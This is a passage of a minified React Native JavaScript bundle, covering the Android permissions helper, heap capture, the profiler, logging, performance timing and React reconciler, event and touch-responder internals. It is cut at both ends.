E_SMS:\"android.permission.RECEIVE_SMS\",READ_SMS:\"android.permission.READ_SMS\",RECEIVE_WAP_PUSH:\"android.permission.RECEIVE_WAP_PUSH\",RECEIVE_MMS:\"android.permission.RECEIVE_MMS\",READ_EXTERNAL_STORAGE:\"android.permission.READ_EXTERNAL_STORAGE\",WRITE_EXTERNAL_STORAGE:\"android.permission.WRITE_EXTERNAL_STORAGE\"},this.RESULTS={GRANTED:\"granted\",DENIED:\"denied\",NEVER_ASK_AGAIN:\"never_ask_again\"}}return babelHelpers.createClass(e,[{key:\"checkPermission\",value:function(e){return console.warn('\"PermissionsAndroid.checkPermission\" is deprecated. Use \"PermissionsAndroid.check\" instead'),s.PermissionsAndroid.checkPermission(e)}},{key:\"check\",value:function(e){return s.PermissionsAndroid.checkPermission(e)}},{key:\"requestPermission\",value:function(e,r){var i;return regeneratorRuntime.async(function(n){for(;;)switch(n.prev=n.next){case 0:return console.warn('\"PermissionsAndroid.requestPermission\" is deprecated. Use \"PermissionsAndroid.request\" instead'),n.next=3,regeneratorRuntime.awrap(this.request(e,r));case 3:return i=n.sent,n.abrupt(\"return\",i===this.RESULTS.GRANTED);case 5:case\"end\":return n.stop()}},null,this)}},{key:\"request\",value:function(e,r){var i;return regeneratorRuntime.async(function(n){for(;;)switch(n.prev=n.next){case 0:if(!r){n.next=6;break}return n.next=3,regeneratorRuntime.awrap(s.PermissionsAndroid.shouldShowRequestPermissionRationale(e));case 3:if(i=n.sent,!i){n.next=6;break}return n.abrupt(\"return\",new Promise(function(i,n){s.DialogManagerAndroid.showAlert(r,function(){return n(new Error(\"Error showing rationale\"))},function(){return i(s.PermissionsAndroid.requestPermission(e))})}));case 6:return n.abrupt(\"return\",s.PermissionsAndroid.requestPermission(e));case 7:case\"end\":return n.stop()}},null,this)}},{key:\"requestMultiple\",value:function(e){return s.PermissionsAndroid.requestMultiplePermissions(e)}}]),e}();o=new o,i.exports=o},100);\n__d(function(e,t,a,r){\"use strict\";var p={captureHeap:function(a){var r=null;try{e.nativeCaptureHeap(a),console.log(\"HeapCapture.captureHeap succeeded: \"+a)}catch(e){console.log(\"HeapCapture.captureHeap error: \"+e.toString()),r=e.toString()}t(15).JSCHeapCapture.captureComplete(a,r)}};a.exports=p},101);\n__d(function(o,r,l,e){\"use strict\";var n={poke:function(l){var e=null,n=null;try{n=o.pokeSamplingProfiler(),null===n?console.log(\"The JSC Sampling Profiler has started\"):console.log(\"The JSC Sampling Profiler has stopped\")}catch(o){console.log(\"Error occured when restarting Sampling Profiler: \"+o.toString()),e=o.toString()}var t=r(15),i=t.JSCSamplingProfiler;i.operationComplete(l,n,e)}};l.exports=n},102);\n__d(function(o,r,e,n){\"use strict\";var a=r(13),l={log:\"log\",info:\"info\",warn:\"warn\",error:\"error\",fatal:\"error\"},t=null,i={logIfNoNativeHook:function(r){for(var e=arguments.length,n=Array(e>1?e-1:0),a=1;a<e;a++)n[a-1]=arguments[a];\"undefined\"==typeof o.nativeLoggingHook?i.logToConsole.apply(i,[r].concat(babelHelpers.toConsumableArray(n))):t&&\"warn\"===r&&t.apply(void 0,babelHelpers.toConsumableArray(n))},logToConsole:function(o){var r,e=l[o];a(e,'Level \"'+o+'\" not one of '+Object.keys(l).toString());for(var n=arguments.length,t=Array(n>1?n-1:0),i=1;i<n;i++)t[i-1]=arguments[i];(r=console)[e].apply(r,babelHelpers.toConsumableArray(t))},setWarningHandler:function(o){t=o}};e.exports=i},103);\n__d(function(t,r,s,c){\"use strict\";var e=r(35),i=e;s.exports=i},104);\n__d(function(e,n,t,i){\"use strict\";var r=n(19),a=n(106),o=e.nativePerformanceNow||n(24),s={},c={},m={},u={addTimespan:function(e,n,t){s[e]||(s[e]={description:t,totalTime:n})},startTimespan:function(e,n){s[e]||(s[e]={description:n,startTime:o()},m[e]=r.beginAsyncEvent(e))},stopTimespan:function(e){var n=s[e];n&&n.startTime&&(n.endTime||(n.endTime=o(),n.totalTime=n.endTime-(n.startTime||0),r.endAsyncEvent(e,m[e]),delete m[e]))},clear:function(){s={},c={}},clearCompleted:function(){for(var e in s)s[e].totalTime&&delete s[e];c={}},clearExceptTimespans:function(e){s=Object.keys(s).reduce(function(n,t){return e.indexOf(t)!==-1&&(n[t]=s[t]),n},{}),c={}},currentTimestamp:function(){return o()},getTimespans:function(){return s},hasTimespan:function(e){return!!s[e]},logTimespans:function(){for(var e in s)s[e].totalTime&&a(e+\": \"+s[e].totalTime+\"ms\")},addTimespans:function(e,n){for(var t=0,i=e.length;t<i;t+=2){var r=n[t/2];u.addTimespan(r,e[t+1]-e[t],r)}},setExtra:function(e,n){c[e]||(c[e]=n)},getExtras:function(){return c}};t.exports=u},105);\n__d(function(n,o,t,r){\"use strict\";function c(){var n;return(n=console).log.apply(n,arguments)}t.exports=c},106);\n__d(function(e,t,r,i){\"use strict\";var n=t(16),s={register:function(e){n.registerCallableModule(\"RCTEventEmitter\",e)}};r.exports=s},107);\n__d(function(e,t,n,o){\"use strict\";function r(e){for(var t;t=e._renderedComponent;)e=t;return e}function i(e,t){var n=r(e);Ht[t]=n}function a(e,t){Ht[t]=e}function s(e){var t=e._rootNodeID;t&&delete Ht[t]}function u(e){delete Ht[e],delete Ut[e]}function c(e){return Ht[e]||null}function l(e){var t=\"number\"!=typeof e.tag?e._rootNodeID:e.stateNode._nativeTag;return Et(t,\"All native instances should have a tag.\"),t}function p(e){return Ut[e._nativeTag]||null}function d(e,t){Ut[e]=t}function h(e){return{_tag:e}}function f(e){return!(!e||\"function\"!=typeof e.attachRef||\"function\"!=typeof e.detachRef)}function m(e,t,n){\"function\"==typeof e?e(t.getPublicInstance()):zt.addComponentAsRefTo(t,e,n)}function v(e,t,n){\"function\"==typeof e?e(null):zt.removeComponentAsRefFrom(t,e,n)}function g(){Kt.attachRefs(this,this._currentElement)}function _(){Et(Tn.ReactReconcileTransaction&&gn,\"ReactUpdates: must inject a reconcile transaction class and batching strategy\")}function C(){this.reinitializeTransaction(),this.dirtyComponentsLength=null,this.reconcileTransaction=Tn.ReactReconcileTransaction.getPooled(!0)}function y(e,t,n,o,r,i){return _(),gn.batchedUpdates(e,t,n,o,r,i)}function b(e,t){return e._mountOrder-t._mountOrder}function T(e){var t=e.dirtyComponentsLength;Et(t===mn.length,\"Expected flush transaction's stored dirty-components length (%s) to match dirty-components array length (%s).\",t,mn.length),mn.sort(b),vn++;for(var n=0;n<t;n++){var o=mn[n];$t.performUpdateIfNecessary(o,e.reconcileTransaction,vn)}}function R(e){return _(),gn.isBatchingUpdates?(mn.push(e),void(null==e._updateBatchNumber&&(e._updateBatchNumber=vn+1))):void gn.batchedUpdates(R,e)}function N(e){Rn.enqueueUpdate(e)}function I(e,t){var n=en.get(e);return n||null}function E(e,t){var n=null===e||!1===e,o=null===t||!1===t;if(n||o)return n===o;var r=typeof e,i=typeof t;return\"string\"===r||\"number\"===r?\"string\"===i||\"number\"===i:\"object\"===i&&e.type===t.type&&e.key===t.key}function P(e){}function S(e){return!(!e.prototype||!e.prototype.isReactComponent)}function w(e){return!(!e.prototype||!e.prototype.isPureReactComponent)}function x(e){return Et(zn,\"There is no registered component for the tag %s\",e.type),new zn(e)}function A(e){return new Qn(e)}function D(e){return e instanceof Qn}function k(e){if(e){var t=e.getName();if(t)return\"\\n\\nCheck the render method of `\"+t+\"`.\"}return\"\"}function O(e){return\"function\"==typeof e&&void 0!==e.prototype&&\"function\"==typeof e.prototype.mountComponent&&\"function\"==typeof e.prototype.receiveComponent}function j(e,t){var n;if(null===e||!1===e)n=qn.create(j);else if(\"object\"==typeof e){var o=e,r=o.type;if(\"function\"!=typeof r&&\"string\"!=typeof r){var i=\"\";i+=k(o._owner),Et(!1,\"Element type is invalid: expected a string (for built-in components) or a class/function (for composite components) but got: %s.%s\",null==r?r:typeof r,i)}\"string\"==typeof o.type?n=$n.createInternalComponent(o):O(o.type)?(n=new o.type(o),n.getHostNode||(n.getHostNode=n.getNativeNode)):n=new Zn(o)}else\"string\"==typeof e||\"number\"==typeof e?n=$n.createInstanceForText(e):Et(!1,\"Encountered invalid React node of type %s\",typeof e);return n._mountIndex=0,n._mountImage=null,n}function M(e){if(null==e)return null;if(\"number\"==typeof e)return e;var t=e,n=en.get(t);return n?oo(n):t||(Et(\"object\"==typeof t&&(\"_rootNodeID\"in t||\"_nativeTag\"in t)||null!=t.render&&\"function\"==typeof t.render,\"findNodeHandle(...): Argument is not a component (type: %s, keys: %s)\",typeof t,Object.keys(t)),void Et(!1,\"findNodeHandle(...): Unable to find node handle for unmounted component.\"))}function H(e,t,n){var o=$t.mountComponent(e,n,null,Lt(t),St,0);e._renderedComponent._topLevelWrapper=e,ao._mountImageIntoNode(o,t)}function U(e,t){var n=Rn.ReactReconcileTransaction.getPooled();n.perform(H,null,e,t,n),Rn.ReactReconcileTransaction.release(n)}function F(){if(ho)for(var e in fo){var t=fo[e],n=ho.indexOf(e);if(Et(n>-1,\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.\",e),!mo.plugins[n]){Et(t.extractEvents,\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.\",e),mo.plugins[n]=t;var o=t.eventTypes;for(var r in o)Et(W(o[r],t,r),\"EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.\",r,e)}}}function W(e,t,n){Et(!mo.eventNameDispatchConfigs.hasOwnProperty(n),\"EventPluginHub: More than one plugin attempted to publish the same event name, `%s`.\",n),mo.eventNameDispatchConfigs[n]=e;var o=e.phasedRegistrationNames;if(o){for(var r in o)if(o.hasOwnProperty(r)){var i=o[r];L(i,t,n)}return!0}return!!e.registrationName&&(L(e.registrationName,t,n),!0)}function L(e,t,n){Et(!mo.registrationNameModules[e],\"EventPluginHub: More than one plugin attempted to publish the same registration name, `%s`.\",e),mo.registrationNameModules[e]=t,mo.registrationNameDependencies[e]=t.eventTypes[n].dependencies}function B(e){return\"topMouseUp\"===e||\"topTouchEnd\"===e||\"topTouchCancel\"===e}function Y(e){return\"topMouseMove\"===e||\"topTouchMove\"===e}function V(e){return\"topMouseDown\"===e||\"topTouchStart\"===e}function X(e,t,n,o){var r=e.type||\"unknown-event\";e.currentTarget=_o.getNodeFromInstance(o),Mn.invokeGuardedCallbackAndCatchFirstError(r,n,void 0,e),e.currentTarget=null}function G(e,t){var n=e._dispatchListeners,o=e._dispatchInstances;if(Array.isArray(n))for(var r=0;r<n.length&&!e.isPropagationStopped();r++)X(e,t,n[r],o[r]);else n&&X(e,t,n,o);e._dispatchListeners=null,e._dispatchInstances=null}function q(e){var t=e._dispatchListeners,n=e._dispatchInstances;if(Array.isArray(t)){for(var o=0;o<t.length&&!e.isPropagationStopped();o++)if(t[o](e,n[o]))return n[o]}else if(t&&t(e,n))return n;return null}function z(e){var t=q(e);return e._dispatchInstances=null,e._dispatchListeners=null,t}function Q(e){var t=e._dispatchListeners,n=e._dispatchInstances;Et(!Array.isArray(t),\"executeDirectDispatch(...): Invalid `event`.\"),e.currentTarget=t?_o.getNodeFromInstance(n):null;var o=t?t(e):null;return e.currentTarget=null,e._dispatchListeners=null,e._dispatchInstances=null,o}function K(e){return!!e._dispatchListeners}function J(e,t){return Et(null!=t,\"accumulateInto(...): Accumulated items must not be null or undefined.\"),null==e?t:Array.isArray(e)?Array.isArray(t)?(e.push.apply(e,t),e):(e.push(t),e):Array.isArray(t)?[e].concat(t):[e,t]}function $(e,t,n){Array.isArray(e)?e.forEach(t,n):e&&t.call(n,e)}function Z(e){return\"button\"===e||\"input\"===e||\"select\"===e||\"textarea\"===e}function ee(e,t,n){switch(e){case\"onClick\":case\"onClickCapture\":case\"onDoubleClick\":case\"onDoubleClickCapture\":case\"onMouseDown\":case\"onMouseDownCapture\":case\"onMouseMove\":case\"onMouseMoveCapture\":case\"onMouseUp\":case\"onMouseUpCapture\":return!(!n.disabled||!Z(t));default:return!1}}function te(e){if(void 0!==e._hostParent)return e._hostParent;if(\"number\"==typeof e.tag){do e=e.return;while(e&&e.tag!==So);if(e)return e}return null}function ne(e,t){for(var n=0,o=e;o;o=te(o))n++;for(var r=0,i=t;i;i=te(i))r++;for(;n-r>0;)e=te(e),n--;for(;r-n>0;)t=te(t),r--;for(var a=n;a--;){if(e===t||e===t.alternate)return e;e=te(e),t=te(t)}return null}function oe(e,t){for(;t;){if(e===t||e===t.alternate)return!0;t=te(t)}return!1}function re(e){return te(e)}function ie(e,t,n){for(var o=[];e;)o.push(e),e=te(e);var r;for(r=o.length;r-- >0;)t(o[r],\"captured\",n);for(r=0;r<o.length;r++)t(o[r],\"bubbled\",n)}function ae(e,t,n,o,r){for(var i=e&&t?ne(e,t):null,a=[];e&&e!==i;)a.push(e),e=te(e);for(var s=[];t&&t!==i;)s.push(t),t=te(t);var u;for(u=0;u<a.length;u++)n(a[u],\"bubbled\",o);for(u=s.length;u-- >0;)n(s[u],\"captured\",r)}function se(e,t,n){var o=t.dispatchConfig.phasedRegistrationNames[n];return xo(e,o)}function ue(e,t,n){var o=se(e,n,t);o&&(n._dispatchListeners=yo(n._dispatchListeners,o),n._dispatchInstances=yo(n._dispatchInstances,e))}function ce(e){e&&e.dispatchConfig.phasedRegistrationNames&&wo.traverseTwoPhase(e._targetInst,ue,e)}function le(e){if(e&&e.dispatchConfig.phasedRegistrationNames){var t=e._targetInst,n=t?wo.getParentInstance(t):null;wo.traverseTwoPhase(n,ue,e)}}function pe(e,t,n){if(e&&n&&n.dispatchConfig.registrationName){var o=n.dispatchConfig.registrationName,r=xo(e,o);r&&(n._dispatchListeners=yo(n._dispatchListeners,r),n._dispatchInstances=yo(n._dispatchInstances,e))}}function de(e){e&&e.dispatchConfig.registrationName&&pe(e._targetInst,null,e)}function he(e){bo(e,ce)}function fe(e){bo(e,le)}function me(e,t,n,o){wo.traverseEnterLeave(n,o,pe,e,t)}function ve(e){bo(e,de)}function ge(e,t,n,o){this.dispatchConfig=e,this._targetInst=t,this.nativeEvent=n;var r=this.constructor.Interface;for(var i in r)if(r.hasOwnProperty(i)){var a=r[i];a?this[i]=a(n):\"target\"===i?this.target=o:this[i]=n[i]}var s=null!=n.defaultPrevented?n.defaultPrevented:!1===n.returnValue;return this.isDefaultPrevented=s?kt.thatReturnsTrue:kt.thatReturnsFalse,this.isPropagationStopped=kt.thatReturnsFalse,this}function _e(e,t,n,o){var r=this;if(r.eventPool.length){var i=r.eventPool.pop();return r.call(i,e,t,n,o),i}return new r(e,t,n,o)}function Ce(e){var t=this;Et(e instanceof t,\"Trying to release an event instance  into a pool of a different type.\"),e.destructor(),t.eventPool.length<ko&&t.eventPool.push(e)}function ye(e){e.eventPool=[],e.getPooled=_e,e.release=Ce}function be(e){Po.enqueueEvents(e),Po.processEventQueue(!1)}function Te(e){var t=Co.getInstanceFromNode(e);if(t){if(\"number\"==typeof t.tag){Et(Go&&\"function\"==typeof Go.restoreControlledState,\"Fiber needs to be injected to handle a fiber target for controlled events. This error is likely caused by a bug in React. Please file an issue.\");var n=Co.getFiberCurrentPropsFromNode(t.stateNode);return void Go.restoreControlledState(t.stateNode,t.type,n)}Et(\"function\"==typeof t.restoreControlledState,\"The internal instance must be a React host component. This error is likely caused by a bug in React. Please file an issue.\"),t.restoreControlledState()}}function Re(e,t){return Zo(e,t)}function Ne(e,t){return $o(Re,e,t)}function Ie(e,t){if(er)return Ne(e,t);er=!0;try{return Ne(e,t)}finally{er=!1,Jo.restoreStateIfNeeded()}}function Ee(e,t,n,o){return Mo.call(this,e,t,n,o)}function Pe(e){return e.timeStamp||e.timestamp}function Se(e){return{touchActive:!0,startPageX:e.pageX,startPageY:e.pageY,startTimeStamp:Pe(e),currentPageX:e.pageX,currentPageY:e.pageY,currentTimeStamp:Pe(e),previousPageX:e.pageX,previousPageY:e.pageY,previousTimeStamp:Pe(e)}}function we(e,t){e.touchActive=!0,e.startPageX=t.pageX,e.startPageY=t.pageY,e.startTimeStamp=Pe(t),e.currentPageX=t.pageX,e.currentPageY=t.pageY,e.currentTimeStamp=Pe(t),e.previousPageX=t.pageX,e.previousPageY=t.pageY,e.previousTimeStamp=Pe(t)}function xe(e){var t=e.identifier;return Et(null!=t,\"Touch object is missing identifier.\"),fr(t<=Cr,\"Touch identifier %s is greater than maximum supported %s which causes performance issues backfilling array locations for all of the indices.\",t,Cr),t}function Ae(e){var t=xe(e),n=yr[t];n?we(n,e):yr[t]=Se(e),br.mostRecentTimeStamp=Pe(e)}function De(e){var t=yr[xe(e)];t?(t.touchActive=!0,t.previousPageX=t.currentPageX,t.previousPageY=t.currentPageY,t.previousTimeStamp=t.currentTimeStamp,t.currentPageX=e.pageX,t.currentPageY=e.pageY,t.currentTimeStamp=Pe(e),br.mostRecentTimeStamp=Pe(e)):console.error(\"Cannot record touch move without a touch start.\\nTouch Move: %s\\n\",\"Touch Bank: %s\",Oe(e),je())}function ke(e){var t=yr[xe(e)];t?(t.touchActive=!1,t.previousPageX=t.currentPageX,t.previousPageY=t.currentPageY,t.previousTimeStamp=t.currentTimeStamp,t.currentPageX=e.pageX,t.currentPageY=e.pageY,t.currentTimeStamp=Pe(e),br.mostRecentTimeStamp=Pe(e)):console.error(\"Cannot record touch end without a touch start.\\nTouch End: %s\\n\",\"Touch Bank: %s\",Oe(e),je())}function Oe(e){return JSON.stringify({identifier:e.identifier,pageX:e.pageX,pageY:e.pageY,timestamp:Pe(e)})}function je(){var e=JSON.stringify(yr.slice(0,Cr));return yr.length>Cr&&(e+=\" (original size: \"+yr.length+\")\"),e}function Me(e,t){return Et(null!=t,\"accumulate(...): Accumulated items must be not be null or undefined.\"),null==e?t:Array.isArray(e)?e.concat(t):Array.isArray(t)?[e].concat(t):[e,t]}function He(e,t,n,o){var r=Ir(e)?jr.startShouldSetResponder:Er(e)?jr.moveShouldSetResponder:\"topSelectionChange\"===e?jr.selectionChangeShouldSetResponder:jr.scrollShouldSetResponder,i=Ar?wo.getLowestCommonAncestor(Ar,t):t,a=i===Ar,s=mr.getPooled(r,i,n,o);s.touchHistory=Rr.touchHistory,a?Do.accumulateTwoPhaseDispatchesSkipTarget(s):Do.accumulateTwoPhaseDispatches(s);var u=xr(s);if(s.isPersistent()||s.constructor.release(s),!u||u===Ar)return null;var c,l=mr.getPooled(jr.responderGrant,u,n,o);l.touchHistory=Rr.touchHistory,Do.accumulateDirectDispatches(l);var p=!0===Sr(l);if(Ar){var d=mr.getPooled(jr.responderTerminationRequest,Ar,n,o);d.touchHistory=Rr.touchHistory,Do.accumulateDirectDispatches(d);var h=!wr(d)||Sr(d);if(d.isPersistent()||d.constructor.release(d),h){var f=mr.getPooled(jr.responderTerminate,Ar,n,o);f.touchHistory=Rr.touchHistory,Do.accumulateDirectDispatches(f),c=Nr(c,[l,f]),Or(u,p)}else{var m=mr.getPooled(jr.responderReject,u,n,o);m.touchHistory=Rr.touchHistory,Do.accumulateDirectDispatches(m),c=Nr(c,m)}}else c=Nr(c,l),Or(u,p);return c}function Ue(e,t,n){return t&&(\"topScroll\"===e&&!n.responderIgnoreScroll||Dr>0&&\"topSelectionChange\"===e||Ir(e)||Er(e))}function Fe(e){var t=e.touches;if(!t||0===t.length)return!0;for(var n=0;n<t.length;n++){var o=t[n],r=o.target;if(null!==r&&void 0!==r&&0!==r){var i=Co.getInstanceFromNode(r);if(wo.isAncestor(Ar,i))return!1}}return!0}function We(){this.reinitializeTransaction()}function Le(e){Et(!e||\"function\"==typeof e,\"Invalid argument passed as callback. Expected a function. Instead received: %s\",e)}function Be(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function Ye(){this.reinitializeTransaction(),this.reactMountReady=Qr.getPooled()}function Ve(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function Xe(e,t){return\"object\"!=typeof t||null===t||Ot(e,t)}function Ge(e){return\"number\"==typeof e?pi.getByID(e):e}function qe(e,t,n){if(Array.isArray(t))for(var o=t.length;o--&&fi>0;)qe(e,t[o],n);else if(t&&fi>0){var r=Ge(t);for(var i in hi)if(hi[i]){var a=r[i];if(void 0!==a){var s=n[i];if(s){if(\"function\"==typeof a&&(a=!0),void 0===a&&(a=null),\"object\"!=typeof s)e[i]=a;else if(\"function\"==typeof s.diff||\"function\"==typeof s.process){var u=\"function\"==typeof s.process?s.process(a):a;e[i]=u}hi[i]=!1,fi--}}}}}function ze(e,t,n,o){var r,i=t.length<n.length?t.length:n.length;for(r=0;r<i;r++)e=Qe(e,t[r],n[r],o);for(;r<t.length;r++)e=Je(e,t[r],o);for(;r<n.length;r++)e=Ke(e,n[r],o);return e}function Qe(e,t,n,o){return e||t!==n?t&&n?Array.isArray(t)||Array.isArray(n)?Array.isArray(t)&&Array.isArray(n)?ze(e,t,n,o):Array.isArray(t)?$e(e,jt(t),Ge(n),o):$e(e,Ge(t),jt(n),o):$e(e,Ge(t),Ge(n),o):n?Ke(e,n,o):t?Je(e,t,o):e:e}function Ke(e,t,n){if(!t)return e;if(!Array.isArray(t))return Ze(e,Ge(t),n);for(var o=0;o<t.length;o++)e=Ke(e,t[o],n);return e}function Je(e,t,n){if(!t)return e;if(!Array.isArray(t))return et(e,Ge(t),n);for(var o=0;o<t.length;o++)e=Je(e,t[o],n);return e}function $e(e,t,n,o){var r,i,a;for(var s in n)if(r=o[s])if(a=t[s],i=n[s],\"function\"==typeof i&&(i=!0,\"function\"==typeof a&&(a=!0)),void 0===i&&(i=null,void 0===a&&(a=null)),hi&&(hi[s]=!1),e&&void 0!==e[s]){if(\"object\"!=typeof r)e[s]=i;else if(\"function\"==typeof r.diff||\"function\"==typeof r.process){var u=\"function\"==typeof r.process?r.process(i):i;e[s]=u}}else if(a!==i)if(\"object\"!=typeof r)Xe(a,i)&&((e||(e={}))[s]=i);else if(\"function\"==typeof r.diff||\"function\"==typeof r.process){var c=void 0===a||(\"function\"==typeof r.diff?r.diff(a,i):Xe(a,i));c&&(u=\"function\"==typeof r.process?r.process(i):i,(e||(e={}))[s]=u)}else hi=null,fi=0,e=Qe(e,a,i,r),fi>0&&e&&(qe(e,i,r),hi=null);for(s in t)void 0===n[s]&&(r=o[s])&&(e&&void 0!==e[s]||void 0!==(a=t[s])&&(\"object\"!=typeof r||\"function\"==typeof r.diff||\"function\"==typeof r.process?((e||(e={}))[s]=null,hi||(hi={}),hi[s]||(hi[s]=!0,fi++)):e=Je(e,a,r)));return e}function Ze(e,t,n){return $e(e,di,t,n)}function et(e,t,n){return $e(e,t,di,n)}function tt(e,t){return function(){if(t){if(\"boolean\"==typeof e.__isMounted){if(!e.__isMounted)return}else if(\"function\"==typeof e.isMounted&&!e.isMounted())return;return t.apply(e,arguments)}}}function nt(e,t){if(void 0!==t.styles){var n=e._owner||null,o=e.constructor.displayName,r=\"`styles` is not a supported property of `\"+o+\"`, did you mean `style` (singular)?\";throw n&&n.constructor&&n.constructor.displayName&&(r+=\"\\n\\nCheck the `\"+n.constructor.displayName+\"` parent  component.\"),new Error(r)}}function ot(e,t){for(var n in t.style)t[n]||void 0===e[n]||console.error(\"You are setting the style `{ \"+n+\": ... }` as a prop. You should nest it in a style object. E.g. `{ style: { \"+n+\": ... } }`\")}function rt(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function it(e,t){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!t||\"object\"!=typeof t&&\"function\"!=typeof t?e:t}function at(e,t){if(\"function\"!=typeof t&&null!==t)throw new TypeError(\"Super expression must either be null or a function, not \"+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function st(e,t){var n=void 0;try{n=ro(e)}catch(e){}if(null!=n){var o=n.viewConfig,r=vi.create(t,o.validAttributes);xt.updateView(n._nativeTag,o.uiViewClassName,r)}}function ut(e,t){var n=ro(e);if(null!=n){var o=void 0;if(void 0!==n.viewConfig)o=n.viewConfig;else if(void 0!==n._instance&&void 0!==n._instance.viewConfig)o=n._instance.viewConfig;else{for(;void 0!==n._renderedComponent;)n=n._renderedComponent;o=n.viewConfig}var r=\"function\"==typeof n.getHostNode?n.getHostNode():n._rootNodeID,i=vi.create(t,o.validAttributes);xt.updateView(r,o.uiViewClassName,i)}}function ct(e,t){var n=void 0;try{n=ro(e)}catch(e){}if(null!=n){var o=n.viewConfig,r=vi.create(t,o.validAttributes);xt.updateView(n._nativeTag,o.uiViewClassName,r)}}function lt(e,t){var n=ro(e);if(null!=n){var o=void 0;if(void 0!==n.viewConfig)o=n.viewConfig;else if(void 0!==n._instance&&void 0!==n._instance.viewConfig)o=n._instance.viewConfig;else{for(;void 0!==n._renderedComponent;)n=n._renderedComponent;o=n.viewConfig}var r=\"function\"==typeof n.getHostNode?n.getHostNode():n._rootNodeID,i=vi.create(t,o.validAttributes);xt.updateView(r,o.uiViewClassName,i)}}function pt(e){var t={\"=\":\"=0\",\":\":\"=2\"};return\"$\"+(\"\"+e).replace(/[=:]/g,function(e){return t[e]})}function dt(e,t){return e&&\"object\"==typeof e&&null!=e.key?ji.escape(e.key):t.toString(36)}function ht(e,t,n,o){var r=typeof e;if(\"undefined\"!==r&&\"boolean\"!==r||(e=null),null===e||\"string\"===r||\"number\"===r||\"object\"===r&&e.$$typeof===Ui)return n(o,e,\"\"===t?Fi+dt(e,0):t),1;var i,a,s=0,u=\"\"===t?Fi:t+Wi;if(Array.isArray(e))for(var c=0;c<e.length;c++)i=e[c],a=u+dt(i,c),s+=ht(i,a,n,o);else{var l=Mi&&e[Mi]||e[Hi];if(\"function\"==typeof l)for(var p,d=l.call(e),h=0;!(p=d.next()).done;)i=p.value,a=u+dt(i,h++),s+=ht(i,a,n,o);else if(\"object\"===r){var f=\"\",m=\"\"+e;Et(!1,\"Objects are not valid as a React child (found: %s).%s\",\"[object Object]\"===m?\"object with keys {\"+Object.keys(e).join(\", \")+\"}\":m,f)}}return s}function ft(e,t,n){return null==e?0:ht(e,\"\",t,n)}function mt(e,t,n,o){var r=void 0===e[n];null!=t&&r&&(e[n]=eo(t,!0))}function vt(e,t,n,o){if(e&&\"object\"==typeof e){var r=e;void 0===r[n]&&null!=t&&(r[n]=t)}}function gt(e,t){if(null==e)return e;var n={};return Li(e,vt,n),n}function _t(e,t,n){return{type:\"INSERT_MARKUP\",content:e,fromIndex:null,fromNode:null,toIndex:n,afterNode:t}}function Ct(e,t,n){return{type:\"MOVE_EXISTING\",content:null,fromIndex:e._mountIndex,fromNode:$t.getHostNode(e),toIndex:n,afterNode:t}}function yt(e,t){return{type:\"REMOVE_NODE\",content:null,fromIndex:e._mountIndex,fromNode:t,toIndex:null,afterNode:null}}function bt(e){return{type:\"SET_MARKUP\",content:e,fromIndex:null,fromNode:null,toIndex:null,afterNode:null}}function Tt(e){return{type:\"TEXT_CONTENT\",content:e,fromIndex:null,fromNode:null,toIndex:null,afterNode:null}}function Rt(e,t){return t&&(e=e||[],e.push(t)),e}function Nt(e,t){An.processChildrenUpdates(e,t)}function It(e,t){return\"number\"!=typeof e&&\"window\"!==e&&(e=ta(e)||\"window\"),xt.__takeSnapshot(e,t)}var Et=t(13),Pt=t(52),St=t(51),wt=t(27),xt=t(63);t(109);var At=t(58);t(64);var Dt=t(107),kt=t(28),Ot=t(59),jt=t(60),Mt=t(62);t(20);var Ht={},Ut={},Ft={getClosestInstanceFromNode:c,getInstanceFromNode:c,getNodeFromInstance:l,precacheFiberNode:a,precacheNode:i,uncacheFiberNode:u,uncacheNode:s,getFiberCurrentPropsFromNode:p,updateFiberProps:d},Wt=Ft,Lt=h,Bt=1,Yt={tagsStartAt:Bt,tagCount:Bt,allocateTag:function(){for(;this.reactTagIsNativeTopRootID(Yt.tagCount);)Yt.tagCount++;var e=Yt.tagCount;return Yt.tagCount++,e},assertRootTag:function(e){Et(this.reactTagIsNativeTopRootID(e),\"Expect a native root tag, instead got %s\",e)},reactTagIsNativeTopRootID:function(e){return e%10==1}},Vt=Yt,Xt={IndeterminateComponent:0,FunctionalComponent:1,ClassComponent:2,HostRoot:3,HostPortal:4,HostComponent:5,HostText:6,CoroutineComponent:7,CoroutineHandlerPhase:8,YieldComponent:9,Fragment:10},Gt=Xt.ClassComponent,qt={addComponentAsRefTo:function(e,t,n){if(n&&n.tag===Gt){var o=n.stateNode;(o.refs===St?o.refs={}:o.refs)[t]=e.getPublicInstance()}else Et(f(n),\"addComponentAsRefTo(...): Only a ReactOwner can have refs. You might be adding a ref to a component that was not created inside a component's `render` method, or you have multiple copies of React loaded (details: https://fb.me/react-refs-must-have-owner).\"),n.attachRef(t,e)},removeComponentAsRefFrom:function(e,t,n){if(n&&n.tag===Gt){var o=n.stateNode;o&&o.refs[t]===e.getPublicInstance()&&delete o.refs[t]}else{Et(f(n),\"removeComponentAsRefFrom(...): Only a ReactOwner can have refs. You might be removing a ref to a component that was not created inside a component's `render` method, or you have multiple copies of React loaded (details: https://fb.me/react-refs-must-have-owner).\");var r=n.getPublicInstance();r&&r.refs[t]===e.getPublicInstance()&&n.detachRef(t)}}},zt=qt,Qt={};Qt.attachRefs=function(e,t){if(null!==t&&\"object\"==typeof t){var n=t.ref;null!=n&&m(n,e,t._owner)}},Qt.shouldUpdateRefs=function(e,t){var n=null,o=null;null!==e&&\"object\"==typeof e&&(n=e.ref,o=e._owner);var r=null,i=null;return null!==t&&\"object\"==typeof t&&(r=t.ref,i=t._owner),n!==r||\"string\"==typeof r&&i!==o},Qt.detachRefs=function(e,t){if(null!==t&&\"object\"==typeof t){var n=t.ref;null!=n&&v(n,e,t._owner)}};var Kt=Qt,Jt={mountComponent:function(e,t,n,o,r,i){var a=e.mountComponent(t,n,o,r,i);return 